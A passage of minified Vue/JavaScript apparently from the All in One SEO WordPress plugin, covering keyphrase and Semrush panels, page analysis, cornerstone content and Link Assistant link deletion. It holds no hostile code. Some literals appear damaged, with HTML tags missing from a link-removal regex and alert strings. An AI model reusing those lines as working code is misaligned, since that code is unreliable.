"+m(o.strings.getAdditionalKeyphrases),1)])]),_:1})):g("",!0),!s.postEditorStore.currentPost.loading.focus&&s.postEditorStore.currentPost.keyphrases.focus&&s.postEditorStore.currentPost.keyphrases.focus.keyphrase&&(!t.$isPro||!s.licenseStore.isUnlicensed)?(n(),_(S,{key:5,disabled:!o.showSemrushTooltip||t.$isPro,"force-show":o.showSemrushTooltip&&!t.$isPro},{tooltip:l(()=>[h("span",null,m(o.strings.semrushTooltip),1)]),default:l(()=>[d(p,{class:"add-keyphrase gray medium",onClick:r.getAdditionalKeyphrases},{default:l(()=>[d(c,{width:"14",height:"14"}),w(" "+m(o.strings.getAdditionalKeyphrases),1)]),_:1},8,["onClick"])]),_:1},8,["disabled","force-show"])):g("",!0),d(ct,{show:o.semrushShowModal,onClose:e[1]||(e[1]=T=>o.semrushShowModal=!1),classes:["aioseo-focus-keyphrase-panel-modal"]},{headerTitle:l(()=>[w(m(o.strings.modalTitle),1)]),body:l(()=>[h("div",gr,[s.licenseStore.isUnlicensed?(n(),_(b,{key:0,type:"blue",innerHTML:o.strings.upsell},null,8,["innerHTML"])):g("",!0),h("div",mr,[h("div",_r,[h("div",fr,m(o.strings.showResultsFor),1)]),d(k,{class:"semrush-country-selector",size:"medium",options:r.semrushDatabase,placeholder:o.strings.selectPriceIndicator,modelValue:o.semrushCountry,"onUpdate:modelValue":e[0]||(e[0]=T=>o.semrushCountry=T)},null,8,["options","placeholder","modelValue"])]),h("div",Sr,[h("table",yr,[h("thead",null,[h("tr",br,[h("th",vr,m(o.strings.keyphrase),1),h("th",kr,m(o.strings.volume),1),h("th",wr,m(o.strings.trend),1),s.licenseStore.isUnlicensed?g("",!0):(n(),f("th",Cr))])]),h("tbody",$r,[s.semrushStore.results.length&&!o.loadingResults?(n(!0),f(j,{key:0},et(s.semrushStore.results,(T,I)=>(n(),f("tr",{class:E(["keyphrase-row",{even:I%2===0}]),key:I},[h("td",Pr,m(T[0]),1),h("td",Er,m(T[1]),1),h("td",Tr,[d(M,{width:66,height:24,data:r.transformTrendDataToChartPoints(T[2]),strokeWidth:1.8,strokeColor:"#498afc",fillColor:"#ade3fc"},null,8,["data"])]),s.licenseStore.isUnlicensed?g("",!0):(n(),f("td",xr,[T[0]===s.postEditorStore.currentPost.keyphrases.focus.keyphrase.toLowerCase()?(n(),f("div",Ar,[d(L),w(" "+m(o.strings.focusKeyphrase),1)])):g("",!0),T[0]!==s.postEditorStore.currentPost.keyphrases.focus.keyphrase.toLowerCase()?(n(),f("div",Lr,[I!==o.removingAdditionalKeyphrase&&(I===o.addingAdditionalKeyphrase||!r.hasAdditionalKeyphrase(T[0]))?(n(),_(p,{key:0,type:"gray",size:"medium",onClick:ht=>r.addAdditionalKeyphrase(T[0],I),loading:I===o.addingAdditionalKeyphrase},{default:l(()=>[w(m(o.strings.addAdditionalKeyphrase),1)]),_:2},1032,["onClick","loading"])):g("",!0),r.getAdditionalKeyphrase(T[0])&&I!==o.addingAdditionalKeyphrase&&(I===o.removingAdditionalKeyphrase||r.hasAdditionalKeyphrase(T[0]))?(n(),f("div",Mr,[h("span",{class:E(["keyphrase-score",r.scoreClass(r.getAdditionalKeyphrase(T[0]).score)]),onClick:ht=>r.goToAdditionalKeyphrase(T[0])},m(r.getAdditionalKeyphrase(T[0]).score)+"/100",11,Hr),d(S,{type:"action"},{tooltip:l(()=>[w(m(o.strings.delete),1)]),default:l(()=>[d(Q,{onClick:ht=>r.removeAdditionalKeyphrase(T[0],I)},null,8,["onClick"])]),_:2},1024)])):g("",!0)])):g("",!0)]))],2))),128)):g("",!0),!s.semrushStore.results.length||o.loadingResults?(n(),f("tr",Ir,[h("td",{colspan:s.licenseStore.isUnlicensed?3:4,class:"no-results"},[h("div",null,[o.loadingResults?(n(),_($,{key:0,dark:""})):g("",!0),!o.loadingResults&&!s.semrushStore.error?(n(),f("span",Rr,m(o.strings.noResults),1)):g("",!0),s.semrushStore.error&&!s.semrushStore.error.includes("TOTAL LIMIT EXCEEDED")?(n(),_(b,{key:2,type:"red"},{default:l(()=>[w(m(r.semrushError),1)]),_:1})):g("",!0),s.semrushStore.error&&s.semrushStore.error.includes("TOTAL LIMIT EXCEEDED")?(n(),f(j,{key:3},[h("div",Or,[d(bt)]),h("div",Dr,[h("span",null,[h("strong",{innerHTML:o.strings.youHaveExceededSemrush},null,8,Nr)]),w(" "+m(" ")+" "),h("span",{innerHTML:o.strings.inOrderToUpgradeSemrush},null,8,Vr)])],64)):g("",!0)])],8,Br)])):g("",!0)])])])])]),_:1},8,["show"])])}const Kr=y(dr,[["render",Ur]]),Gr={setup(){return{postEditorStore:P(),rootStore:Z()}},components:{CoreAlert:K,CoreMainTabs:st,metaboxAnalysisDetail:yt},data(){return{initTab:"basic",tabs:[{slug:"basic",name:this.$t.__("Basic SEO",this.$td)},{slug:"title",name:this.$t.__("Title",this.$td)},{slug:"readability",name:this.$t.__("Readability",this.$td)}]}},computed:{parseTabs(){return this.tabs.map(t=>(t.errorCount=this.postEditorStore.currentPost.page_analysis.analysis[t.slug].errors,t))},pageBuilderAlert(){if(!mt()||!["elementor","divi"].includes(this.rootStore.aioseo.integration))return!1;const t=this.rootStore.aioseo.integration.charAt(0).toUpperCase()+this.rootStore.aioseo.integration.slice(1);return this.$t.sprintf(this.$t.__("We have detected that you are currently using the %1$s Page Builder. Please click %2$shere%3$s to use the %1$s editor for a most accurate result.",this.$td),t,'',"")}},methods:{processChangeTab(t){this.initTab=t}}},Fr={class:"page-analysis-panel"},qr=["innerHTML"];function zr(t,e,i,s,o,r){const u=a("core-alert"),c=a("core-main-tabs"),p=a("metaboxAnalysisDetail");return n(),f("div",Fr,[r.pageBuilderAlert?(n(),_(u,{key:0,type:"yellow"},{default:l(()=>[h("span",{innerHTML:r.pageBuilderAlert},null,8,qr)]),_:1})):g("",!0),d(c,{tabs:r.parseTabs,showSaveButton:!1,active:this.initTab,internal:"",onChanged:e[0]||(e[0]=S=>r.processChangeTab(S))},null,8,["tabs","active"]),d(at,{mode:"out-in"},{default:l(()=>[s.postEditorStore.currentPost.page_analysis?(n(),_(p,{key:0,analysisItems:s.postEditorStore.currentPost.page_analysis.analysis[this.initTab]},null,8,["analysisItems"])):g("",!0)]),_:1})])}const Wr=y(Gr,[["render",zr]]),jr={setup(){return{licenseStore:O(),postEditorStore:P(),hasRequiredFeature:gt.hasCoreFeature("general","cornerstone-content")}},components:{CoreAlert:K},emits:["changeTab"],data(){return{license:gt,strings:{description:this.$t.__("Cornerstone content refers to the most important and informative articles or pages on your website that serve as the foundation for your content strategy. AIOSEO uses cornerstone content for",this.$td),linkingRecommendations:this.$t.__("internal linking recommendations in Link Assistant.",this.$td),upsell:this.$t.sprintf(this.$t.__("Cornerstone Content is a %1$s feature. %2$s",this.$td),"PRO",this.$links.getUpsellLink("post-settings-general",this.$constants.GLOBAL_STRINGS.learnMore,"cornerstone-content",!0)),markAsCornerstone:this.$t.__("Mark as Cornerstone",this.$td)}}}},Yr={class:"cornerstone-content-panel"},Zr={class:"cornerstone-content-text"},Jr=["innerHTML"],Xr=["innerHTML"];function Qr(t,e,i,s,o,r){const u=a("base-toggle"),c=a("core-alert");return n(),f("div",Yr,[h("p",Zr,[h("span",null,m(o.strings.description),1),h("a",{href:"#",onClick:e[0]||(e[0]=H(p=>t.$emit("changeTab",{main:"linkAssistant",sub:"link-suggestions"}),["stop","prevent"]))},m(o.strings.linkingRecommendations),1),h("span",{innerHTML:this.$links.getDocLink(this.$constants.GLOBAL_STRINGS.learnMore,"cornerstoneContent",!0)},null,8,Jr)]),d(u,{modelValue:s.postEditorStore.currentPost.pillar_content,"onUpdate:modelValue":[e[1]||(e[1]=p=>s.postEditorStore.currentPost.pillar_content=p),e[2]||(e[2]=p=>s.postEditorStore.isDirty=!0)],disabled:!s.hasRequiredFeature},{default:l(()=>[w(m(o.strings.markAsCornerstone),1)]),_:1},8,["modelValue","disabled"]),s.licenseStore.isUnlicensed||!s.hasRequiredFeature?(n(),_(c,{key:0,class:"inline-upsell",type:"blue"},{default:l(()=>[h("div",{innerHTML:o.strings.upsell},null,8,Xr)]),_:1})):g("",!0)])}const tn=y(jr,[["render",Qr]]),en={setup(){const{strings:t}=me();return{licenseStore:O(),optionsStore:dt(),postEditorStore:P(),rootStore:Z(),seoPreviewStore:Ke(),settingsStore:Y(),tagsStore:Ge(),truSeoHighlighterStore:rt(),composableStrings:t}},emits:["changeTab"],mixins:[Ot,rs,Dt,_e,jo],components:{AdditionalKeyphrases:wi,AiGenerator:Ki,BaseRadioToggle:ye,CoreAlert:K,CoreGoogleSearchPreview:Bs,CoreHtmlTagsEditor:Kt,CoreSettingsRow:V,CoreSidebarCard:Yi,CoreTooltip:G,CoreProBadge:Os,FocusKeyphrase:Kr,MetaboxAnalysisDetail:yt,PageAnalysis:Wr,CornerstoneContent:tn,SvgCircleQuestionMark:Nt,SvgDesktop:os,SvgMobile:is,SvgPencil:ft},props:{disabled:{type:Boolean,default(){return!1}},parentComponentContext:String},data(){return{license:gt,allowed:W,separator:void 0,isPageBuilderEditor:pt,titleCount:0,descriptionCount:0,keywords:null,keyphrases:null,selectedKeyphrase:0,editSnippet:!1,truSeo:null,titleKey:"title0",descriptionKey:"description0",strings:de(this.composableStrings,{pageName:this.$t.__("General",this.$td),serpPreview:this.$t.__("SERP Preview",this.$td),serpPreviewDocumentation:this.$t.__("SERP: Search Engine Results Page preview. Your site's potential appearance in Google search results. Final display may vary, but this preview closely resembles it.",this.$td),editSnippet:this.$t.__("Edit Snippet",this.$td),clickToAddTitle:this.$t.__("Click on the tags below to insert variables into your title.",this.$td),metaDescription:this.$t.__("Meta Description",this.$td),clickToAddDescription:this.$t.__("Click on the tags below to insert variables into your meta description.",this.$td),cornerstoneContent:this.$t.__("Cornerstone Content",this.$td),focusKeyphrase:this.$t.__("Focus Keyphrase",this.$td),additionalKeyphrases:this.$t.__("Additional Keyphrases",this.$td),pageAnalysis:this.$t.__("Page Analysis",this.$td),basicSeo:this.$t.__("Basic SEO",this.$td),title:this.$t.__("Title",this.$td),readability:this.$t.__("Readability",this.$td),lookingForMetaKeywords:this.$t.__("Looking for meta keywords?",this.$td),goToAdvancedTab:this.$t.__("Go to the Advanced tab to add/edit meta keywords",this.$td),autogenerateDescriptionsAlert:this.$t.sprintf(this.$t.__("Warning: You have disabled Autogenerate Descriptions and are using the default description format. %1$s will not output a description unless you enter a custom one. You can enable Autogenerate Descriptions under %2$s.",this.$td),"AIOSEO",this.$links.getPlainLink(this.$t.__("Search Appearance > Advanced",this.$td),this.rootStore.aioseo.urls.aio.searchAppearance+"#/advanced")),keyphraseDocumentation:this.$t.sprintf(this.$t.__("Not sure what keyphrases are used for? Check out our documentation for more information. %1$s",this.$td),this.$links.getDocLink(this.$constants.GLOBAL_STRINGS.learnMore,"useKeyphrasesTooltip",!0))})}},watch:{"postEditorStore.currentPost.title"(){kt(()=>this.runAnalysis({postId:this.postEditorStore.currentPost.id}),750)},"postEditorStore.currentPost.description"(){kt(()=>this.runAnalysis({postId:this.postEditorStore.currentPost.id}),750)},"truSeoHighlighterStore.highlightSentences"(t,e){kt(()=>this.watchHighlightSentences(t,e))}},computed:{title(){return this.$t.sprintf(this.$t.__("%1$s Title",this.$td),this.postEditorStore.currentPost.type)},toggled:function(){return this.postEditorStore.currentPost.pillar_content===1},displayTruSeoMetaboxCard(){return Ct()&&this.$root._data.screenContext==="metabox"&&this.postEditorStore.currentPost.context==="post"&&this.postEditorStore.currentPost.postType!=="attachment"&&this.parentComponentContext!=="modal"&&W("aioseo_page_analysis")&&!this.postEditorStore.currentPost.isSpecialPage&&!this.isForum},displayTruSeoSidebarKeyphraseCard(){return Ct()&&this.$root._data.screenContext==="sidebar"&&this.parentComponentContext!=="modal"&&W("aioseo_page_analysis")&&!this.postEditorStore.currentPost.isSpecialPage&&!this.isForum},displayTruSeoSidebarAnalysisCard(){return Ct()&&this.$root._data.screenContext==="sidebar"&&this.postEditorStore.currentPost.page_analysis&&this.parentComponentContext!=="modal"&&W("aioseo_page_analysis")&&!this.postEditorStore.currentPost.isSpecialPage&&!this.isForum},isForum(){return this.rootStore.aioseo.data.isBBPressActive&&(this.postEditorStore.currentPost.postType==="forum"||this.postEditorStore.currentPost.postType==="topic"||this.postEditorStore.currentPost.postType==="reply")},focusKeyphraseScore(){return this.postEditorStore.currentPost.keyphrases.focus.keyphrase?this.postEditorStore.currentPost.keyphrases.focus.score:null},showAutogenerateDescriptionsAlert(){return this.optionsStore.internalOptions.internal.deprecatedOptions.includes("autogenerateDescriptions")?(this.postEditorStore.currentPost.context==="post"?this.optionsStore.dynamicOptions.searchAppearance.postTypes[this.postEditorStore.currentPost.postType].metaDescription:this.optionsStore.dynamicOptions.searchAppearance.taxonomies[this.postEditorStore.currentPost.termType].metaDescription)===this.postEditorStore.currentPost.description&&!this.optionsStore.options.deprecated.searchAppearance.advanced.autogenerateDescriptions:!1}},methods:{hideKeywordsLooking(){this.optionsStore.options.searchAppearance.advanced.keywordsLooking=!1,this.optionsStore.saveChanges()},isMobilePreviewEv(t){this.postEditorStore.changeGeneralPreview(t)},editSnippetEv(){this.editSnippet=!this.editSnippet,this.settingsStore.changeTabSettings({setting:"modal",value:"general"}),this.postEditorStore.currentPost.modalOpen=!0},getDefaultTags(t){switch(t){case"title":return this.postEditorStore.currentPost.context==="post"?["post_title","separator_sa","site_title"]:["taxonomy_title","separator_sa","site_title"];case"description":return this.postEditorStore.currentPost.context==="post"?this.postEditorStore.currentPost.postType==="attachment"?["attachment_caption","separator_sa","site_title"]:this.postEditorStore.currentPost.postType==="product"?["post_excerpt","post_content"]:["post_excerpt","post_content","separator_sa"]:["taxonomy_title","separator_sa","taxonomy_description"]}}},mounted(){this.keyphrases=this.postEditorStore.currentPost.keyphrases,this.postEditorStore.currentPost.context==="post"&&!this.postEditorStore.currentPost.keyphrases.length&&(this.selectedKeyphrase=-1),window.aioseoBus.$on("updateTitleKey",()=>{this.titleKey="title"+Math.random(0,999)}),window.aioseoBus.$on("updateDescriptionKey",()=>{this.descriptionKey="description"+Math.random(0,999)})}},sn={class:"aioseo-tab-content aioseo-post-general"},on=["innerHTML"],rn=["innerHTML"],nn=["innerHTML"],an={key:4},ln=["innerHTML"],dn=["innerHTML"];function cn(t,e,i,s,o,r){const u=a("svg-circle-question-mark"),c=a("core-tooltip"),p=a("svg-desktop"),S=a("svg-mobile"),C=a("base-radio-toggle"),$=a("core-google-search-preview"),v=a("svg-pencil"),b=a("base-button"),k=a("core-settings-row"),M=a("ai-generator"),L=a("core-html-tags-editor"),Q=a("core-alert"),bt=a("core-pro-badge"),ct=a("cornerstone-content"),T=a("focus-keyphrase"),I=a("additional-keyphrases"),ht=a("page-analysis"),tt=a("core-sidebar-card"),vt=a("metabox-analysis-detail");return n(),f("div",sn,[o.allowed("aioseo_page_general_settings")?(n(),_(k,{key:0,class:"snippet-preview-row","no-right-max-width":""},{name:l(()=>[h("div",null,[h("span",null,m(o.strings.serpPreview),1),d(c,{offset:t.$root._data.screenContext==="sidebar"&&i.parentComponentContext==="metabox"?"10px,0":"50px,0",placement:"bottom"},{tooltip:l(()=>[w(m(o.strings.serpPreviewDocumentation),1)]),default:l(()=>[d(u)]),_:1},8,["offset"])]),t.$root._data.screenContext==="metabox"||i.parentComponentContext==="modal"?(n(),_(C,{key:0,modelValue:s.postEditorStore.currentPost.generalMobilePrev,"onUpdate:modelValue":r.isMobilePreviewEv,name:"previewGeneralIsMobile",class:"circle",options:[{label:"desktop",value:!1,activeClass:"dark",slot:"desktop"},{label:"mobile",value:!0,slot:"mobile"}]},{desktop:l(()=>[d(p)]),mobile:l(()=>[d(S)]),_:1},8,["modelValue","onUpdate:modelValue"])):g("",!0)]),content:l(()=>{var x,zt,Wt;return[d($,{"focus-keyphrase":((Wt=(zt=(x=s.postEditorStore.currentPost)==null?void 0:x.keyphrases)==null?void 0:zt.focus)==null?void 0:Wt.keyphrase)??"",device:t.$root._data.screenContext==="sidebar"&&i.parentComponentContext==="metabox"||s.postEditorStore.currentPost.generalMobilePrev?"mobile":"desktop",url:s.tagsStore.liveTags.permalink,title:t.parseTags(s.postEditorStore.currentPost.title||s.postEditorStore.currentPost.tags.title||"#post_title #separator_sa #site_title"),description:t.parseTags(s.postEditorStore.currentPost.description||s.postEditorStore.currentPost.tags.description||"#post_content"),"rich-results":s.seoPreviewStore.richResults},null,8,["focus-keyphrase","device","url","title","description","rich-results"]),t.$root._data.screenContext==="sidebar"&&i.parentComponentContext!=="modal"?(n(),_(b,{key:0,class:"edit-snippet gray small",onClick:r.editSnippetEv},{default:l(()=>[d(v),w(" "+m(o.strings.editSnippet),1)]),_:1},8,["onClick"])):g("",!0)]}),_:1})):g("",!0),(t.$root._data.screenContext==="metabox"||i.parentComponentContext==="modal")&&o.allowed("aioseo_page_general_settings")?(n(),_(k,{id:"aioseo-post-settings-post-title-row",class:"snippet-title-row",name:r.title,key:o.titleKey},{content:l(()=>[d(L,{modelValue:s.postEditorStore.currentPost.title,"onUpdate:modelValue":[e[0]||(e[0]=x=>s.postEditorStore.currentPost.title=x),e[2]||(e[2]=x=>s.postEditorStore.isDirty=!0)],"line-numbers":!1,single:"",onCounter:e[1]||(e[1]=x=>t.updateCount(x,"titleCount")),"tags-context":`${s.postEditorStore.currentPost.postType||s.postEditorStore.currentPost.termType}Title`,defaultMenuOrientation:i.parentComponentContext==="modal"?"top":"bottom","default-tags":r.getDefaultTags("title")},{"tags-description":l(()=>[w(m(o.strings.clickToAddTitle),1)]),"append-button":l(()=>[s.postEditorStore.currentPost.postType&&!o.isPageBuilderEditor()?(n(),_(M,{key:0,type:"title"})):g("",!0)]),_:1},8,["modelValue","tags-context","defaultMenuOrientation","default-tags"]),h("div",{class:"max-recommended-count",innerHTML:t.maxRecommendedCount(o.titleCount,60)},null,8,on)]),_:1},8,["name"])):g("",!0),(t.$root._data.screenContext==="metabox"||i.parentComponentContext==="modal")&&o.allowed("aioseo_page_general_settings")?(n(),_(k,{id:"aioseo-post-settings-meta-description-row",class:"snippet-description-row",name:o.strings.metaDescription,key:o.descriptionKey},{content:l(()=>[r.showAutogenerateDescriptionsAlert?(n(),_(Q,{key:0,type:"yellow"},{default:l(()=>[h("span",{innerHTML:o.strings.autogenerateDescriptionsAlert},null,8,rn)]),_:1})):g("",!0),d(L,{modelValue:s.postEditorStore.currentPost.description,"onUpdate:modelValue":[e[3]||(e[3]=x=>s.postEditorStore.currentPost.description=x),e[5]||(e[5]=x=>s.postEditorStore.isDirty=!0)],"line-numbers":!1,description:"",onCounter:e[4]||(e[4]=x=>t.updateCount(x,"descriptionCount")),"tags-context":`${s.postEditorStore.currentPost.postType||s.postEditorStore.currentPost.termType}Description`,defaultMenuOrientation:i.parentComponentContext==="modal"?"top":"bottom","default-tags":r.getDefaultTags("description")},{"tags-description":l(()=>[w(m(o.strings.clickToAddDescription),1)]),"append-button":l(()=>[s.postEditorStore.currentPost.postType&&!o.isPageBuilderEditor()?(n(),_(M,{key:0,type:"description"})):g("",!0)]),_:1},8,["modelValue","tags-context","defaultMenuOrientation","default-tags"]),h("div",{class:"max-recommended-count",innerHTML:t.maxRecommendedCount(o.descriptionCount,160)},null,8,nn)]),_:1},8,["name"])):g("",!0),t.$root._data.screenContext==="metabox"&&s.postEditorStore.currentPost.context==="post"&&s.postEditorStore.currentPost.postType!=="attachment"&&!o.isPageBuilderEditor()?(n(),_(k,{key:3,id:"aioseo-post-settings-cornerstone-content-row",class:"cornerstone-content-row"},{name:l(()=>[w(m(o.strings.cornerstoneContent)+" ",1),s.licenseStore.isUnlicensed?(n(),_(bt,{key:0})):g("",!0)]),content:l(()=>[d(ct,{onChangeTab:e[6]||(e[6]=x=>t.$emit("changeTab",x))})]),_:1})):g("",!0),r.displayTruSeoMetaboxCard&&s.optionsStore.options.searchAppearance.advanced.useKeywords&&s.optionsStore.options.searchAppearance.advanced.keywordsLooking?(n(),f("div",an,[d(Q,{class:"meta-keywords-alert",type:"blue","show-close":"",onCloseAlert:r.hideKeywordsLooking},{default:l(()=>[w(m(o.strings.lookingForMetaKeywords)+" ",1),h("a",{href:"#",onClick:e[7]||(e[7]=H(x=>t.$emit("changeTab","advanced"),["prevent"]))},m(o.strings.goToAdvancedTab),1),h("a",{class:"no-underline",href:"#",onClick:e[8]||(e[8]=H(x=>t.$emit("changeTab","advanced"),["prevent"]))}," → ")]),_:1},8,["onCloseAlert"])])):g("",!0),r.displayTruSeoMetaboxCard?(n(),_(k,{key:5,id:"aioseo-post-settings-snippet-focus-keyphrase-row",class:"snippet-focus-keyphrase-row",align:""},{name:l(()=>[h("span",null,m(o.strings.focusKeyphrase),1),d(c,{offset:"25px,0"},{tooltip:l(()=>[h("div",{innerHTML:o.strings.keyphraseDocumentation},null,8,ln)]),default:l(()=>[d(u)]),_:1})]),content:l(()=>[d(T)]),_:1})):g("",!0),r.displayTruSeoMetaboxCard?(n(),_(k,{key:6,name:o.strings.additionalKeyphrases,class:"snippet-additional-keyphrases-row"},{content:l(()=>[d(I)]),_:1},8,["name"])):g("",!0),r.displayTruSeoMetaboxCard&&s.postEditorStore.currentPost.page_analysis?(n(),_(k,{key:7,name:o.strings.pageAnalysis,class:"snippet-page-analysis-row",align:""},{content:l(()=>[d(ht)]),_:1},8,["name"])):g("",!0),t.$root._data.screenContext==="sidebar"&&!o.isPageBuilderEditor()&&this.parentComponentContext!=="modal"?(n(),_(tt,{key:8,class:"card-cornerstone-content",slug:"cornerstoneContent","header-text":o.strings.cornerstoneContent},{default:l(()=>[d(ct,{onChangeTab:e[9]||(e[9]=x=>t.$emit("changeTab",x))})]),_:1},8,["header-text"])):g("",!0),r.displayTruSeoSidebarKeyphraseCard?(n(),_(tt,{key:9,slug:"focus",focusScore:r.focusKeyphraseScore,class:"card-focus-keyphrase"},{header:l(()=>[h("span",null,m(o.strings.focusKeyphrase),1),d(c,{offset:o.isPageBuilderEditor()?"35px,0":"0,0"},{tooltip:l(()=>[h("div",{innerHTML:o.strings.keyphraseDocumentation},null,8,dn)]),default:l(()=>[d(u)]),_:1},8,["offset"])]),default:l(()=>[d(T)]),_:1},8,["focusScore"])):g("",!0),r.displayTruSeoSidebarKeyphraseCard?(n(),_(tt,{key:10,slug:"additional","header-text":o.strings.additionalKeyphrases,class:"card-additional-keyphrase"},{default:l(()=>[d(I)]),_:1},8,["header-text"])):g("",!0),r.displayTruSeoSidebarAnalysisCard?(n(),_(tt,{key:11,slug:"basicseo","header-text":o.strings.basicSeo,trueSeoScore:s.postEditorStore.currentPost.page_analysis.analysis.basic.errors,class:"card-basic-seo"},{default:l(()=>[d(vt,{analysisItems:s.postEditorStore.currentPost.page_analysis.analysis.basic},null,8,["analysisItems"])]),_:1},8,["header-text","trueSeoScore"])):g("",!0),r.displayTruSeoSidebarAnalysisCard?(n(),_(tt,{key:12,slug:"title","header-text":o.strings.title,trueSeoScore:s.postEditorStore.currentPost.page_analysis.analysis.title.errors,class:"card-title-seo"},{default:l(()=>[d(vt,{analysisItems:s.postEditorStore.currentPost.page_analysis.analysis.title},null,8,["analysisItems"])]),_:1},8,["header-text","trueSeoScore"])):g("",!0),r.displayTruSeoSidebarAnalysisCard?(n(),_(tt,{key:13,slug:"readability","header-text":o.strings.readability,trueSeoScore:s.postEditorStore.currentPost.page_analysis.analysis.readability.errors,class:"card-readability-seo"},{default:l(()=>[d(vt,{analysisItems:s.postEditorStore.currentPost.page_analysis.analysis.readability},null,8,["analysisItems"])]),_:1},8,["header-text","trueSeoScore"])):g("",!0)])}const He=y(en,[["render",cn]]),hn={},un={viewBox:"0 0 16 16",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-right-arrow-short"},pn=h("path",{d:"M8 0L6.59 1.41L12.17 7H0V9H12.17L6.59 14.59L8 16L16 8L8 0Z",fill:"currentColor"},null,-1),gn=[pn];function mn(t,e){return n(),f("svg",un,gn)}const Ft=y(hn,[["render",mn]]),_n={setup(){return{postEditorStore:P()}},components:{CoreSettingsRow:V,SvgRightArrowShort:Ft},data(){return{strings:{title:this.$t.__("Link Assistant",this.$td),description:this.$t.__("Here you can view an overview of your existing links as well as find suggestions for new internal links. Click on the button below to view the Link Assistant panel.",this.$td),button:this.$t.__("Open Link Assistant",this.$td)}}}},fn={class:"aioseo-link-assistant-sidebar"},Sn={class:"aioseo-sidebar-content-title"};function yn(t,e,i,s,o,r){const u=a("svg-right-arrow-short"),c=a("base-button"),p=a("core-settings-row");return n(),f("div",fn,[t.$root._data.screenContext==="sidebar"?(n(),_(p,{key:0,class:"snippet-description-row open-link-assistant-copy"},{content:l(()=>[h("div",Sn,m(o.strings.title),1),h("p",null,m(o.strings.description),1),d(c,{class:"open-link-assistant-modal gray small",onClick:e[0]||(e[0]=S=>s.postEditorStore.currentPost.linkAssistant.modalOpen=!0)},{default:l(()=>[d(u),w(" "+m(o.strings.button),1)]),_:1})]),_:1})):g("",!0)])}const bn=y(_n,[["render",yn]]),N="all-in-one-seo-pack",vn=()=>{const t={frontPage:D("Front Page",N),deleteLink:D("Delete Link",N)},e={areYouSureSingle:D("Are you sure you want to delete this link?",N),areYouSureMultiple:D("Are you sure you want to delete these links?",N),areYouSureAll:D("Are you sure you want to delete all links?",N),actionCannotBeUndone:D("This action cannot be undone.",N),yesSingle:D("Yes, I want to delete this link",N),yesMultiple:D("Yes, I want to delete these links",N),yesAll:D("Yes, I want to delete all links",N),noChangedMind:D("No, I changed my mind",N)};return{bulkOptions:[{label:D("Delete",N),value:"delete"}],modalStrings:e,strings:t}},kn={methods:{findTargetBlock(t,e){const i=X(e);let s=null;return t.forEach(o=>{if(s||!o.attributes)return;if(o.attributes.content&&o.attributes.content.search(i)!==-1){s=o.clientId;return}if(!o.innerBlocks)return;const r=this.findTargetBlock(o.innerBlocks,e);r&&(s=r)}),s}}},wn={emits:["updatingLinks","linksUpdated"],mixins:[kn],props:{post:{type:Object,required:!0},postIndex:{type:Number,required:!1},postId:{type:Number,required:!1},linksReport:{type:Boolean,default(){return!1}},postReport:{type:Boolean,default(){return!1}},metabox:{type:Boolean,default(){return!1}}},beforeMount(){window.aioseoBus.$on("updatingLinks",e=>{this.wpTableLoading=e});const t=ot();this.pageNumber=this.linkType?t.postReport[this.linkType].totals.page:1},data(){return{changeItemsPerPageSlug:"linkAssistantPostsReport",action:"",showModal:!1,selectedRows:[]}},computed:{rows(){if(!this.metabox)return this.post.links[this.linkType].rows;const t=this.pageNumber===1?0:(this.pageNumber-1)*10;return this.post.links[this.linkType].rows.slice(t,t+10)}},methods:{fetchData(t){const e=P();window.aioseoBus.$emit("updatingLinks",!0);const i={...t,additionalFilters:{postId:this.post.ID||e.currentPost.id,postIndex:this.postIndex,type:this.linkType}},s=ot(),o=this.postReport?"fetchPostReport":"fetchLinksReportInner";return s[o](i).finally(()=>{window.aioseoBus.$emit("updatingLinks",!1)})},openPostReport(t){window.location.href=`#/post-report?postId=${this.postId}&postIndex=${this.postIndex}&initialTab=${t}`},maybeDoBulkAction({action:t,selectedRows:e}){!e.length||!t||(this.action=t,this.selectedRows=e,this.showModal=!0)},doBulkAction(){if(this.showModal=!1,this.selectedRows===!1||typeof this.selectedRows>"u"||!this.selectedRows.length)return;if(typeof this.selectedRows=="number"){this.doDeleteLink(this.selectedRows);return}if(this.metabox&&this.linkType!=="inboundInternal"){this.idsToIndexes(this.selectedRows).forEach(s=>{this.editorRemoveLink(s)});return}window.aioseoBus.$emit("updatingLinks",!0);const t=ot(),e=P();t.linksBulk({postIndex:this.postIndex,postId:this.post.ID||e.currentPost.id,action:this.action,linkType:this.linkType,linkIds:this.selectedRows,linksReport:this.linksReport,postReport:this.postReport}).finally(()=>{window.aioseoBus.$emit("updatingLinks",!1),this.$emit("linksUpdated"),this.refreshTable()})},doDeleteLink(t){const e=this.post.links[this.linkType].rows[t].id;if(!e)return;if(this.metabox&&this.linkType!=="inboundInternal"){this.editorRemoveLink(t);return}window.aioseoBus.$emit("updatingLinks",!0);const i=ot(),s=P();i.linkDelete({postIndex:this.postIndex,postId:this.post.ID||s.currentPost.id,linkId:e,linksReport:this.linksReport,postReport:this.postReport}).finally(()=>{window.aioseoBus.$emit("updatingLinks",!1),this.$emit("linksUpdated"),this.refreshTable()})},editorRemoveLink(t){mt()&&(window.aioseoBus.$emit("updatingLinks",!1),this.blockEditorRemoveLink(t),window.aioseoBus.$emit("updatingLinks",!1)),le()&&this.classicEditorRemoveLink(t)},blockEditorRemoveLink(t){const i=P().currentPost.linkAssistant.links[this.linkType].rows[t];if(!i)return;window.aioseoBus.$emit("updatingLinks",!0);const s=X(i.anchor.trim()),o=i.phrase_html.trim(),r=X(o),u=window.wp.data.select("core/block-editor").getBlocks(),c=this.findTargetBlock(u,o);if(!c){window.aioseoBus.$emit("updatingLinks",!1);return}const p=window.wp.data.select("core/block-editor").getBlock(c);if(!p){window.aioseoBus.$emit("updatingLinks",!1);return}let S=new RegExp(`(]*>)(.*)?(${s})(.*)?(]*>)`,"i");const C=o.replace(S,"$2$3$4");S=new RegExp(`${r}`,"i"),window.wp.data.dispatch("core/block-editor").updateBlockAttributes(c,{content:p.attributes.content.replace(S,C)}).then(()=>{this.post.links[this.linkType].rows.splice(t,1)}).catch($=>{console.error(`Couldn delete link with type "${this.linkType}" and index ${t}:`,$)}).finally(()=>{window.aioseoBus.$emit("updatingLinks",!1),this.$emit("linksUpdated")})},classicEditorRemoveLink(t){var v;const i=P().currentPost.linkAssistant.links[this.linkType].rows[t];if(!i||!window.tinyMCE)return;window.aioseoBus.$emit("updatingLinks",!0);let 